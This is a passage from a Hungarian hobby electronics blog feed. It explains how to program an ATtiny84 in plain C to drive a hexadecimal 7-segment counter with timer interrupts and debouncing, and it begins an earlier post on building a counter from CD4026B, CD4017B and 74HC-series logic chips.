<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span> </span>{
  DDRA |= _BV(PA7);

  <span class="hljs-keyword">while</span> (<span class="hljs-number">1</span>) {
    PORTA |= _BV(PA7);
    _delay_ms(<span class="hljs-number">1000</span>);
    PORTA &amp;= ~_BV(PA7);
    _delay_ms(<span class="hljs-number">1000</span>);
  }
  <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre>
<p>Mint az látszik, itt kicsit másképp mennek a dolgok. Az Arduino IDE rengeteg dolgot rejtett el előlünk, a későbbiekben majd kitérünk ezekre egy kicsit részletesebben is.</p>
<p>Az ATtiny-re küldés sem csak egy gombnyomás lesz. Először is telepítenünk kell néhány csomagot. Pi 5-ön futó Raspberry Pi OS esetén nálam ez volt a nyerő parancs:</p>
<pre class="console"><code># apt install avrdude avr-libc gcc binutils
</code></pre>
<p>Aztán lefordíthatjuk a kis programunkat:</p>
<pre class="console"><code>$ avr-gcc -mmcu=attiny84 -Wall -Os -o blink.elf blink.c
</code></pre>
<p>Ezen a ponton van lehetőségünk ellenőrizni, hogy rá fog-e férni a program az ATtiny-re az <code>avr-size</code> parancs segítségével:</p>
<pre class="console"><code>$ avr-size --format=avr --mcu=attiny84 blink.elf
AVR Memory Usage
----------------
Device: attiny84

Program:     100 bytes (1.2% Full)
(.text + .data + .bootloader)

Data:          0 bytes (0.0% Full)
(.data + .bss + .noinit)
</code></pre>
<p>Ha minden jónak tűnik, akkor legyárthatjuk belőle a szükséges <code>hex</code> fájlt:</p>
<pre class="console"><code>$ avr-objcopy -j .text -j .data -O ihex blink.elf blink.hex
</code></pre>
<p>Amit végre-valahára fel is másolhatunk az ATTiny-re:</p>
<pre class="console"><code>$ avrdude -p t84 -c linuxspi -P /dev/spidev0.0:/dev/gpiochip0 -x disable_no_cs -B 10kHz -U flash:w:blink.hex
avrdude: AVR device initialized and ready to accept instructions
avrdude: device signature = 0x1e930c (probably t84)
avrdude: Note: flash memory has been specified, an erase cycle will be performed.
         To disable this feature, specify the -D option.
avrdude: erasing chip
avrdude: reading input file blink.hex for flash
         with 100 bytes in 1 section within [0, 0x63]
         using 2 pages and 28 pad bytes
avrdude: writing 100 bytes flash ...

Writing | ################################################## | 100% 0.36 s 

avrdude: 100 bytes of flash written
avrdude: verifying flash memory against blink.hex

Reading | ################################################## | 100% 0.34 s 

avrdude: 100 bytes of flash verified

avrdude done.  Thank you.
</code></pre>
<p>És ezzel meg is volnánk.... de ha már itt járunk, ismerkedjünk meg közelebbről egy kicsit az ATtiny-vel és írjuk meg újra a korábbi számláló programunkat.</p>
<h3>Egy kis ismerkedés</h3>
<p>Nem tervezek végigmenni a chip teljes (több, mint 200 oldalas) <a href="https://ww1.microchip.com/downloads/en/DeviceDoc/doc8006.pdf">dokumentációján</a>. Csak annyit fogunk megnézni, ami a számlálónkhoz feltétlenül szükséges. Az egésznek az alapja a regiszterek, amivel elérhetjük a különböző hardver funkciókat. Engem az <strong>MCP23S17</strong>-re emlékeztetett a megoldás (amit a <a href="https://deadlime.hu/2026/02/22/szamitogeppel-generalt-alomvilag/">286-os projektben</a> is használtunk). Érdekes módon ugyanaz a gyártó is.</p>
<p>Van például a <code>DDRB</code> regiszter, amivel a 'B' porton található pin-ek
(<code>PB0</code>-<code>PB3</code>) irányát tudjuk állítani. Az indexelés a bitek helyi értékének felel meg, a <code>PB0</code> a legalacsonyabb helyi értékű bit. A <code>PORTB</code> regiszterrel lehet állítani a kimenő lábak állapotát, a <code>PINB</code> regiszterbe pedig a bejövő lábak értékei kerülnek. Hasonló módon léteznek ezek a regiszterek az 'A' port pin-jeire, de vannak regiszterek időzítők, megszakítások és sok egyéb más beállításaira és adataira is.</p>
<p>Ami nagyon jól látszik, hogy rengeteg bitműveletet fogunk használni. Kapunk is egy <code>_BV</code> nevezetű makrót a bit shift-elés rövidítésére (az <code>1 &lt;&lt; (bit)</code> műveletnek felel meg), amit gyakran fogunk használni a kódunkban.</p>
<p><a name="ujraszamlalas"></a></p>
<h3>Újraszámlálás</h3>
<p>Ennyi bevezető után neki is kezdhetünk a számláló programunknak. A hardver ugyanaz lesz, <a href="https://deadlime.hu/2026/06/22/a-nagy-megszamolas/#szoftveres-megoldasok">mint korábban</a>. Emlékeztetőül, ezek vannak a mikrokontrollerünk lábaira kötve:</p>
<pre class="ascii"><code>PA0 -&gt; Kijelző pin 12 (Dig1)
PA1 -&gt; Kijelző pin 11 (a)
PA2 -&gt; Kijelző pin 10 (f)
PA3 -&gt; Kijelző pin 9  (Dig2)
PA4 -&gt; Kijelző pin 8  (Dig3)
PA5 -&gt; Kijelző pin 7  (b)
PA6 -&gt; Kijelző pin 5  (g)
PA7 -&gt; Kijelző pin 4  (c)
PB0 -&gt; Kijelző pin 1  (e)
PB1 -&gt; Kijelző pin 2  (d)
PB2 -&gt; Léptető gomb
PB3 -&gt; Reset gomb
</code></pre>
<p>Szerencsétlenségünkre a kijelző pin-jei mind a két portot érintik. Az egész projektet nem akartam átkábelezni, úgyhogy ezzel a helyzettel együtt kell élnünk majd a kódban. Az ideális valószínűleg az lenne, ha a szegmens pin-ek és a léptető gomb kerülne a <code>PA</code> oldalra, a számjegy választó pin-ek és a reset gomb pedig a <code>PB</code> oldalra.</p>
<p>Ha megnézzük a fenti összerendelést, a szegmensek eloszlása a két porton így néz ki:</p>
<pre class="ascii"><code>PA | 7 | 6 | 5 | 4 | 3 | 2 | 1 | 0 |
---|---|---|---|---|---|---|---|---|
   | c | g | b | _ | _ | f | a | _ |

PB | 3 | 2 | 1 | 0 |
---|---|---|---|---|
   | _ | _ | d | e |
</code></pre>
<p>A kijelzőnk közös anódos, úgyhogy a szegmens pin-en nullát, a számjegy választó pin-en pedig egyet kell küldenünk, hogy az adott számjegy adott szegmense világítson. A nullás szám esetében az <code>a</code>-<code>f</code> szegmenseknek nullának, a <code>g</code> szegmensnek pedig egyesnek kell lennie, így a két portra a következő értékeket kell írnunk:</p>
<pre class="ascii"><code>PA | 7 | 6 | 5 | 4 | 3 | 2 | 1 | 0 |
---|---|---|---|---|---|---|---|---|
   | 0 | 1 | 0 | _ | _ | 0 | 0 | _ |

PB | 3 | 2 | 1 | 0 |
---|---|---|---|---|
   | _ | _ | 0 | 0 |
</code></pre>
<p>Az aláhúzás jellel jelölt bitekkel nem itt kell majd foglalkoznunk, úgyhogy azoknak a helyére írhatunk nullát.</p>
<pre class="ascii"><code>PA | 7 | 6 | 5 | 4 | 3 | 2 | 1 | 0 |
---|---|---|---|---|---|---|---|---|
   | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 |

PB | 3 | 2 | 1 | 0 |
---|---|---|---|---|
   | 0 | 0 | 0 | 0 |
</code></pre>
<p>Ugyanezt megcsinálva a többi számjegyre is, a következő tömböket fogjuk kapni:</p>
<pre><code class="hljs arduino"><span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> F_CPU 1000000UL</span>

<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;avr/interrupt.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;avr/io.h&gt;</span></span>

<span class="hljs-keyword">const</span> <span class="hljs-keyword">uint8_t</span> segments_a[<span class="hljs-number">16</span>] = {
  <span class="hljs-number">0b01000000</span>, <span class="hljs-number">0b01000110</span>, <span class="hljs-number">0b10000100</span>, <span class="hljs-number">0b00000100</span>,
  <span class="hljs-number">0b00000010</span>, <span class="hljs-number">0b00100000</span>, <span class="hljs-number">0b00100000</span>, <span class="hljs-number">0b01000100</span>,
  <span class="hljs-number">0b00000000</span>, <span class="hljs-number">0b00000000</span>, <span class="hljs-number">0b00000000</span>, <span class="hljs-number">0b00100010</span>,
  <span class="hljs-number">0b11100000</span>, <span class="hljs-number">0b00000110</span>, <span class="hljs-number">0b10100000</span>, <span class="hljs-number">0b10100000</span>,
};
<span class="hljs-keyword">const</span> <span class="hljs-keyword">uint8_t</span> segments_b[<span class="hljs-number">16</span>] = {
  <span class="hljs-number">0b0000</span>, <span class="hljs-number">0b0011</span>, <span class="hljs-number">0b0000</span>, <span class="hljs-number">0b0001</span>,
  <span class="hljs-number">0b0011</span>, <span class="hljs-number">0b0001</span>, <span class="hljs-number">0b0000</span>, <span class="hljs-number">0b0011</span>,
  <span class="hljs-number">0b0000</span>, <span class="hljs-number">0b0001</span>, <span class="hljs-number">0b0010</span>, <span class="hljs-number">0b0000</span>,
  <span class="hljs-number">0b0000</span>, <span class="hljs-number">0b0000</span>, <span class="hljs-number">0b0000</span>, <span class="hljs-number">0b0010</span>,
};
</code></pre>
<p>Hogy egy kicsit izgalmasabb legyen a dolog, hexadecimális számot fogunk megjeleníteni, így 0-tól egészen 4095-ig el tudunk majd számolni.</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">const</span> <span class="hljs-keyword">uint8_t</span> pin[<span class="hljs-number">3</span>] = { PA0, PA3, PA4 };
<span class="hljs-keyword">uint8_t</span> dig[<span class="hljs-number">3</span>] = { <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span> };
<span class="hljs-keyword">uint8_t</span> i = <span class="hljs-number">0</span>;

<span class="hljs-keyword">uint8_t</span> stable = <span class="hljs-number">0</span>;
<span class="hljs-keyword">uint8_t</span> samples = <span class="hljs-number">0</span>;
</code></pre>
<p>Lesz még néhány változónk az érték tárolásához, a számjegy kiválasztásához és a pergés kiszűréséhez.</p>
<p>Ezzel el is érkeztünk a <code>main</code> függvényhez.</p>
<pre><code class="hljs arduino"><span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span> </span>{
  DDRA = <span class="hljs-number">0b11111111</span>;
  DDRB = <span class="hljs-number">0b0011</span>;

  TCCR1A = <span class="hljs-number">0</span>;
  TCCR1B |= _BV(CS11) | _BV(WGM12);
  OCR1A = <span class="hljs-number">24</span>;
  TIMSK1 |= _BV(OCIE1A);

  sei();

  <span class="hljs-keyword">while</span> (<span class="hljs-number">1</span>) {}
  <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre>
<p>A függvény meglepően rövid, de annál értelmezhetetlenebb. Legalábbis a szép hosszú dokumentáció nélkül.</p>
<ul>
<li>A <code>DDRA</code> és <code>DDRB</code> segítségével az 'A' és 'B' portok irányát állítjuk be (minden kimenő, kivéve a két gombot).</li>
<li>A <code>TCCR1A</code> és <code>TCCR1B</code> segítségével egy időzítőt kezdünk el beállítani.
<ul>
<li>A <code>CS11</code> és <code>CS12</code> (<code>TCCR1B</code>) bitek segítségével az időzítő órajele állítható be. Mivel az alapérték nulla, ezért nekünk csak az egyiket kell beállítanunk, hogy az ATtiny órajel nyolcadát kapjuk meg.</li>
<li>A <code>WGM10</code>, <code>WGM11</code> (<code>TCCR1A</code>), <code>WGM12</code> és <code>WGM13</code> (<code>TCCR1B</code>) bitekkel a számláló módját lehet beállítani. Az általunk beállított módban (csak a <code>WGM12</code> bit 1-es, a többi 0-ás) az <code>OCR1A</code> regiszterben található értékig fog számolni, aztán lenullázza magát.</li>
</ul>
</li>
<li>Az <code>OCR1A</code> regisztert beállítjuk 24-re, aminek hatására 0-tól 24-ig fogunk számolni.</li>
<li>A <code>TIMSK1</code> az időzítő megszakítás beállításait tartalmazza. Az <code>OCIE1A</code> bit beállításával kapunk egy megszakítást, ha elértük az <code>OCR1A</code>-ban lévő értékét.</li>
</ul>
<p>Végül a <code>sei()</code> függvény meghívása engedélyezi a megszakításokat és elérünk egy végtelen ciklushoz, ami nem csinál semmit.</p>
<p><a id="cite_ref-1"></a>Az ATtiny 1MHz-en<a href="#cite_note-1" class="note"><sup>[1]</sup></a> fut, az időzítő órajele ennek a nyolcada lesz, tehát 125kHz. A számlálót 25 alkalommal léptetjük egy megszakításhoz, így ezekkel a beállításokkal 1/5000 másodpercenként (0,2 ezredmásodpercenként) fogunk kapni egy megszakítást.</p>
<pre><code class="hljs arduino">ISR(TIM1_COMPA_vect) {
  PORTA = segments_a[dig[i]];
  PORTB = segments_b[dig[i]];
  PORTA |= _BV(pin[i]);
  <span class="hljs-keyword">if</span> (++i &gt; <span class="hljs-number">2</span>) i = <span class="hljs-number">0</span>;

  <span class="hljs-keyword">uint8_t</span> now = (PINB &amp; _BV(PB2)) ? <span class="hljs-number">1</span> : <span class="hljs-number">0</span>;
  <span class="hljs-keyword">if</span> (now != stable) {
    <span class="hljs-keyword">if</span> (++samples &gt; <span class="hljs-number">50</span>) {
      stable = now;
      samples = <span class="hljs-number">0</span>;
      <span class="hljs-keyword">if</span> (stable == <span class="hljs-number">1</span>) {
        <span class="hljs-keyword">if</span> (++dig[<span class="hljs-number">2</span>] &gt; <span class="hljs-number">0xF</span>) {
          dig[<span class="hljs-number">2</span>] = <span class="hljs-number">0</span>;
          <span class="hljs-keyword">if</span> (++dig[<span class="hljs-number">1</span>] &gt; <span class="hljs-number">0xF</span>) {
            dig[<span class="hljs-number">1</span>] = <span class="hljs-number">0</span>;
            <span class="hljs-keyword">if</span> (++dig[<span class="hljs-number">0</span>] &gt; <span class="hljs-number">0xF</span>) {
              dig[<span class="hljs-number">0</span>] = <span class="hljs-number">0</span>;
            }
          }
        }
      }
    }
  } <span class="hljs-keyword">else</span> {
    samples = <span class="hljs-number">0</span>;
  }
}
</code></pre>
<p><a id="cite_ref-2"></a>Ő lenne a függvényünk, ami a megszakítás során meghívódik másodpercenként ötezer alkalommal.<a href="#cite_note-2" class="note"><sup>[2]</sup></a></p>
<p>A <code>PORTA</code>/<code>PORTB</code> beállításával megjelenítjük az aktuális számjegyet és léptetjük <code>i</code>-t a következő számjegyre. Lehet itt egy olyan megérzésünk, hogy a két <code>PORTA</code> módosítást egybe is el lehetne végezni, de ez elég érdekes működésekhez tud vezetni:</p>
<pre><code class="hljs arduino">PORTA = segments_a[dig[i]] | _BV(pin[i]);
PORTB = segments_b[dig[i]];
</code></pre>
<p>Ebben az esetben előbb váltunk számjegyet, minthogy a B porton lévő <code>d</code> és <code>e</code> szegmenset a megfelelő értékre állítanánk, így bizonyos esetekben a <code>d</code> és <code>e</code> szegmens halványan világítani fog akkor is, amikor nem kellene.</p>
<pre><code class="hljs arduino">PORTB = segments_b[dig[i]];
PORTA = segments_a[dig[i]] | _BV(pin[i]);
</code></pre>
<p>Ebben az esetben pedig a 'B' porton lévő <code>d</code> és <code>e</code> szegmens előbb kap új értéket, minthogy számjegyet váltanánk, ami hasonló problémához vezet.</p>
<p>Az eredeti felállásban az 'A' port előbb kap értéket, de azzal együtt le is kapcsoljuk az összes számjegyet, a 'B' port is megkapja az új értéket majd bekapcsoljuk az új számjegyet. Így nincs olyan időpillanat, amikor rossz helyen világítana egy szegmens.</p>
<p><a id="cite_ref-3"></a>A kijelző frissítése után megnézzük a gomb értékét. Ha nem egyezik a jelenlegi stabil értékkel, akkor növeljük a mintavételek számát. Ha van ötven<a href="#cite_note-3" class="note"><sup>[3]</sup></a> jó mintánk, akkor az új érték lesz a stabil érték. Ha a gomb meg lett nyomva, akkor a szokott módon megnöveljük a számjegyek értékét is, de most már nem csak 9-ig megyünk, hanem 15-ig.</p>
<p>A letárolt stabil állapottal és a mintavételezéssel azt érjük el, hogy a gomb állapotváltozását csak akkor tekintjük érvényesnek, ha stabilizálódik az új jel legalább 10 ezredmásodpercnyi időre, kiszűrve ezzel a gomb lenyomása és felengedése pillanatában keletkező pergést.</p>
<p>A már fentebb tárgyalt módon a kódot feltölthetjük a számláláshoz használt korábbi <strong>ATtiny24</strong>-re és egy hexadecimális számláló boldog tulajdonosaivá válhatunk.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/hex_counter.jpg" width="660" height="450" alt="Egy próbapanelen összeépített digitális számláló, LCD kijelzője a 2A számot mutatja" title="" loading="lazy" />
</p>

<h3>Számvetés</h3>
<p>Ezen is túl vagyunk. Még egy számláló... ki gondolta volna az előző bejegyzés után? Az új kóddal sikerült valamivel jobbá tennünk az előző verziót:</p>
<ul>
<li>nem kellett <code>PROGMEM</code>-et használnunk</li>
<li>999 helyett 4095-ig tudunk elszámolni</li>
<li>a pergés elleni védelem megbízhatóbb lett</li>
<li>a kijelző számjegyeit sokkal gyorsabban frissítjük</li>
</ul>
<p>Lehetne még mit javítani, ha unatkoznánk (például a kezdő nullák elrejtése), de engem csak eddig hajtott a kíváncsiság. Az Arduino IDE-ből kiszabadulva sokkal közelebb kerülhettünk a hardverhez. Talán közelebb is, mint szerettük volna.</p>
<h3>Jegyzetek</h3>
<p><a id="cite_note-1"></a>1. <a href="#cite_ref-1" class="note">↑</a> Legalábbis az alapbeállítások szerint, ami módosítható biztosítékokkal, de az nem tenne jót a számításainknak.</p>
<p><a id="cite_note-2"></a>2. <a href="#cite_ref-2" class="note">↑</a> Ezt leírva elkezdtem aggódni, hogy esetleg nem-e csinál túl sok mindent ez a függvény, úgyhogy utánaszámoltam és ha minden igaz, akkor a legrosszabb esetben is végez 60 órajel alatt és 200 órajelnyi időnk van két megszakítás között.</p>
<p><a id="cite_note-3"></a>3. <a href="#cite_ref-3" class="note">↑</a> A minták számával lehet kísérletezgetni, hogy mi az a pont, amikor már nem kapunk fals gombnyomásokat és az ismétlődő gombnyomások sebessége is megfelelőnek érződik.</p>

]]></content:encoded>
        </item>
            <item>
            <title>A nagy megszámolás</title>
            <link>https://deadlime.hu/2026/06/22/a-nagy-megszamolas/</link>
            <pubDate>Mon, 22 Jun 2026 10:40:29 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[hardver]]></category>
                    <category><![CDATA[Arduino]]></category>
                    <category><![CDATA[Raspberry Pi]]></category>
                    
            <guid isPermaLink="false">fb35ecf14762fe373fc6f6638b553d4f</guid>
            <description>Számos módja van annak, hogy digitális számlálót építsünk</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/digital_counter.jpg" width="660" height="450" alt="Egy próbapanelen összeépített digitális számláló, LCD kijelzője a 42-es számot mutatja" title="" loading="lazy" />
</p>

<p>Van egy régóta húzódó hardveres projektem. Haladgat szépen-lassan, már csak a programozás részét kellene befejezni, de ritkán jön meg a kedvem hozzá. Így sajnos fokozottan fogékony vagyok a figyelemelterelésekre.</p>
<p>Szóval láttam egy videóban egy mechanikus számlálót, ami nem sokkal több, mint négy számjegy és egy gomb, amivel lehet növelni a számot. Meg egy tekerő, amivel le lehet nullázni az egészet.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/tally_counter.jpg" width="450" height="450" alt="Egy mechanikus kézi számláló" title="" loading="lazy" />
</p>

<p>Valamivel később pedig belefutottam egy cuki kis LCD kijelzőbe. Három számot tud megjeleníteni és méreteiből adódóan felettébb próbapanel-kompatibilisnek tűnt.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/lcd_display.jpg" width="450" height="450" alt="IC-kre hasonlító LCD kijelzők" title="" loading="lazy" />
</p>

<p>Talán érezzük már, hogy hova fog kifutni ez az egész. Építeni kellene egy digitális számlálót. Biztos nem túl bonyolult. Csak egy mikrokontroller, egy-két gomb, egy 7 szegmenses kijelző és néhány sor kód. Vagy mégse?</p>
<h3>A cél hardver</h3>
<p>Szokás szerint nem az egyszerű úton indultam el. Mint oly sokszor, most sem a digitális számláló elkészülése a cél. Az csak egy eszköz, hogy ne a másik projekten kelljen dolgoznom.</p>
<p>Annyira azért nem akartam megnehezíteni a dolgomat, hogy az egészet NAND kapukból rakom össze. Vannak alkatrészek, amik remekül megvalósítanak részfeladatokat a folyamatból. Például IC-k, amik tudnak számlálni vagy éppen értik a 7 szegmenses kijelzők szegmens formátumát.</p>
<p>Kis keresés után ráleltem a <strong>CD4026B</strong> nevű chip-re, ami 0-tól 9-ig tud számolni és a kimenete a 7 szegmenses kijelző szegmenseinek felel meg (<code>a</code>-tól <code>g</code>-ig).</p>
<pre class="ascii"><code>                   ┌───┬──┬───┐
             CLOCK ┤ • └──┘   ├ VDD
     CLOCK INHIBIT ┤          ├ RESET
 DISPLAY ENABLE IN ┤          ├ UNGATED &quot;C&quot; SEGMENT OUT
DISPLAY ENABLE OUT ┤          ├ c
         CARRY OUT ┤ CD4026B  ├ b
                 f ┤          ├ e
                 g ┤          ├ a
               VSS ┤          ├ d
                   └──────────┘
</code></pre>
<p>A kijelző miatt három számjegyet célzok meg. A chip-en található <code>CARRY OUT</code> kimenet akkor lesz 1, ha a számláló 9-ről 0-ra vált, így egymás után lehet fűzni több <strong>CD4026B</strong>-t, hogy több számjegyünk legyen. Az alacsonyabb helyiértékű chip <code>CARRY OUT</code>-ját az eggyel magasabb helyiértékű chip <code>CLOCK</code>-jába kell kötni.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/CD4026B.jpg" width="660" height="433" alt="Kapcsolási rajz: három, egymás után kötött CD4026B chip" title="" loading="lazy" />
</p>

<p>A gombot ráköthetnénk a legkisebb helyiértékű chip <code>CLOCK</code> bemenetére, de van a gomboknak az a rossz tulajdonsága, amit pergésnek neveznek. Egy gombnyomás során az érintkezők néha többször is egymáshoz érnek, így az elvárt egyszeri növelés helyett random mennyiséggel fog növekedni a számunk. Nem annyira jó működés egy számláló esetében.</p>
<p>Az Internet szerint rengeteg mód van arra, hogy ezt kivédjük, nekem egy Ben Eater videó rémlett fel a 8 bites számítógép építés sorozatából, ahol egy <a href="https://www.youtube.com/watch?v=81BgFhm2vz8">monostabil <strong>555</strong> időzítővel</a> lett ez megoldva.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/monostable_555_timer.jpg" width="635" height="737" alt="Kapcsolási rajz: monostabil 555 időzítő és CD4026B számláló" title="" loading="lazy" />
</p>

<p>Ezen a ponton van egy jól működő gombunk és három egymás után kötött chip-ünk, amik együtt el tudnak számolni 0-tól 999-ig. De nem látjuk, hogy éppen hol tartanak.</p>
<p>A fentebb említett LCD kijelzőről kiderült, hogy sajnos nem olyan egyszerű vezérelni, mint mondjuk egy 7 szegmenses LED kijelzőt, meg egyébként sem érkezett meg időben, úgyhogy egy <strong>BC56-12</strong>-es modellt használtam helyette.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/BC56-12.jpg" width="450" height="450" alt="BC56-12 típusú, három karakteres LED kijelző" title="" loading="lazy" />
</p>

<p>Róla annyit érdemes tudni, hogy mind a három számjegy ugyanazokat a szegmens bemeneteket használja. Van ezen kívül három másik bemenet, amivel azt választhatjuk ki, hogy éppen melyik számjegy aktív. Szóval ha három különböző számjegyet akarunk egyszerre megjeleníteni, akkor nagyon gyorsan kell váltogatnunk a három szám között, hogy a szemünknek úgy tűnjön, mintha a három számjegy egyszerre világítana.</p>
<p>Két fajta változat létezik ebből a fajta kijelzőből: közös anódos és közös katódos, attól függően, hogy a szegmens LED-eknek az anód vagy a katód végük van összekötve. A mi változatunk közös katódos.</p>
<p>A számok közötti gyors váltakozáshoz szükségünk lesz egy órajelre. Legnagyobb szerencsénkre van egy másik Ben Eater videó, amiből megtanulhatunk órajelet generálni egy <a href="https://www.youtube.com/watch?v=kRlSFm519Bo">astabil <strong>555</strong> időzítő</a> segítségével. Ezt az egy órajelet valahogy még három felé kell osztanunk, hogy kiválaszthassuk vele az aktív számjegyet. Én egy másik számlálót, a <strong>CD4017B</strong>-t használtam erre.</p>
<pre class="ascii"><code>    ┌───┬──┬───┐
  5 ┤ • └──┘   ├ VDD
  1 ┤          ├ RESET
  0 ┤          ├ CLOCK
  2 ┤          ├ CLOCK INHIBIT
  6 ┤ CD4017B  ├ CARRY OUT
  7 ┤          ├ 9
  3 ┤          ├ 4
VSS ┤          ├ 8
    └──────────┘
</code></pre>
<p>Ez a számláló kijelző szegmensek helyett 10 különböző kimeneten jelzi, hogy melyik számnál tart éppen. Az első három számot fogjuk felhasználni arra, hogy legyen három, egymást kölcsönösen kizáró jelünk, a negyedik számot pedig arra, hogy <code>RESET</code>-eljük a chip-et, hogy újra nulláról induljon.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/astable_555_timer.jpg" width="635" height="797" alt="Kapcsolási rajz: astabil 555 időzítő és CD4017B számláló" title="" loading="lazy" />
</p>

<p>Tehát az egyik oldalon vannak az egymás után fűzött számlálóink a gombbal, a másik oldalon van egy órajelünk három felé osztva, amivel kiválaszthatjuk az aktív számjegyet.</p>
<p>A számlálóinkon van egy ígéretes nevű <code>DISPLAY ENABLE IN</code> bemenet, amiről joggal gondolhatjuk azt, hogy hasznos lehet a kijelző meghajtása során. De nem az.</p>
<p>A <code>DISPLAY ENABLE IN</code> kikapcsolása esetén a kimenetek alacsony állapotba kerülnek. Ha össze vannak kötve más kimenetekkel, amik magas állapotban vannak (mert egy szegmens egy másik számjegyben be van kapcsolva), akkor abból rövidzárlat lesz. Így nem tanácsos összekötni a számlálóink kimeneteit.</p>
<p>Talán néhány (21 darab) dióda meg tudta volna oldani a problémát, de én az erre a célra kitalált <strong>74HC541</strong> chip-et választottam:</p>
<pre class="ascii"><code>     ┌───┬──┬───┐
OE1' ┤ • └──┘   ├ VDD
  A0 ┤          ├ OE2'
  A1 ┤          ├ Y0
  A2 ┤          ├ Y1
  A3 ┤          ├ Y2
  A4 ┤ 74HC541  ├ Y3
  A5 ┤          ├ Y4
  A6 ┤          ├ Y5
  A7 ┤          ├ Y6
 VSS ┤          ├ Y7
     └──────────┘
</code></pre>
<p>Az <code>A0-7</code> pin-eken jön a bemenet, amit megkapunk az <code>Y0-7</code> pin-eken, ha a kimenetek engedélyezve vannak (<code>OE1'</code> és <code>OE2'</code>). Ha a kimenet nincs engedélyezve, akkor nagy impedanciás módba kerülnek az <code>Y0-7</code> kimenetek és nem zavarják egymást.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/74HC541.jpg" width="660" height="548" alt="Kapcsolási rajz: CD4026B és 74HC541 chip-ek vezetékezése" title="" loading="lazy" />
</p>

<p>Szóval a három <strong>CD4026B</strong> számlálónk <code>a</code>-<code>g</code> kimenetét rákötjük egy-egy <strong>74HC541</strong> chip bemenetére (a képen a kék vezetékek), a három <strong>74HC541</strong> kimenetét (a képen a zöld vezetékek) pedig összekötjük és rákötjük a kijelzőre.</p>
<p>Az órajelet három felé osztó <strong>CD4017B</strong>-ből érkező jeleket szeretnénk arra használni, hogy a megfelelő <strong>74HC541</strong> IC és LED számjegy legyen csak aktív. De mindkét helyen alacsony jelre van szükségünk, a <strong>CD4017B</strong> pedig magas jelet ad az aktív számjegyre. Szerencsére erre is léteznek integrált áramkörök, mint például a <strong>74HC240</strong>, ami a bemenő jelet negálja.</p>
<pre class="ascii"><code>     ┌───┬──┬───┐
1OE' ┤ • └──┘   ├ VDD
 1A1 ┤          ├ 2OE'
 2Y4 ┤          ├ 1Y1
 1A2 ┤          ├ 2A4
 2Y3 ┤          ├ 1Y2
 1A3 ┤ 74HC240  ├ 2A3
 2Y2 ┤          ├ 1Y3
 1A4 ┤          ├ 2A2
 2Y1 ┤          ├ 1Y4
 VSS ┤          ├ 2A1
     └──────────┘
</code></pre>
<p>Rákötjük a <strong>CD4017B</strong>-ből érkező három kimenetünket mondjuk az <code>1A1</code>, <code>1A2</code> és <code>1A3</code> bemenetekre és megkapjuk az ellentétét az <code>1Y1</code>, <code>1Y2</code> és <code>1Y3</code> kimeneteken.</p>
<p>Ezzel meg is van minden részegység, amire szükségünk van egy működő számlálóhoz. Már csak össze kell drótoznunk mindent és kész is vagyunk.</p>
<pre class="ascii"><code>                                                              ╔═════════╗
                      ┌───────────┬───────────┬───────────┬───╢ BC56-12 ║
                      │           │           │           │   ╚═════════╝
                      │           │           │           │
                 ╔════╧════╗ ╔════╧════╗ ╔════╧════╗ ╔════╧════╗
                 ║ 74HC541 ║ ║ 74HC541 ║ ║ 74HC541 ║ ║ 74HC240 ║
                 ╚════╤══╤═╝ ╚════╤══╤═╝ ╚════╤══╤═╝ ╚═╤══╤════╝
                      ┃  └────────╂──┴────────╂──┴─────┘  │
                      ┃           ┃           ┃      ╔════╧════╗
                      ┃           ┃           ┃      ║ CD4017B ║
                      ┃           ┃           ┃      ╚════╤════╝
                      ┃           ┃           ┃           │
╔══════╗ ╔═════╗ ╔════╧════╗ ╔════╧════╗ ╔════╧════╗   ╔══╧══╗
║ Gomb ╟─╢ 555 ╟─╢ CD4026B ╟─╢ CD4026B ╟─╢ CD4026B ║   ║ 555 ║
╚══════╝ ╚═════╝ ╚═════════╝ ╚═════════╝ ╚═════════╝   ╚═════╝
</code></pre>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/digital_counter_1.jpg" width="660" height="450" alt="Az elkészült digitális számláló két próbapanelen" title="" loading="lazy" />
</p>

<p>A képen még látható, hogy be van kötve egy extra gomb a három <strong>CD4026B</strong> <code>RESET</code> pin-jeire. Induláskor előfordul, hogy random értékekről indulunk, ezért jó ha van kéznél egy nullázó gomb.</p>
<p>Ugyan a végeredmény remekül néz ki, azért elég kényelmetlen lenne kézi számlálóként használni, így tovább nézelődtem alternatív megoldások után.</p>
<h3>Segít a memória</h3>
<p>A YouTube Algoritmus ezen a ponton már valószínűleg tökéletesen tisztában volt azzal, hogy miben mesterkedem. Volt olyan kedves és felajánlott még egy Ben Eater videót megtekintésre, ami pont egy <a href="https://www.youtube.com/watch?v=dLh1n2dErzE">7 szegmenses LED kijelző meghajtásáról szól EEPROM segítségével</a>.</p>
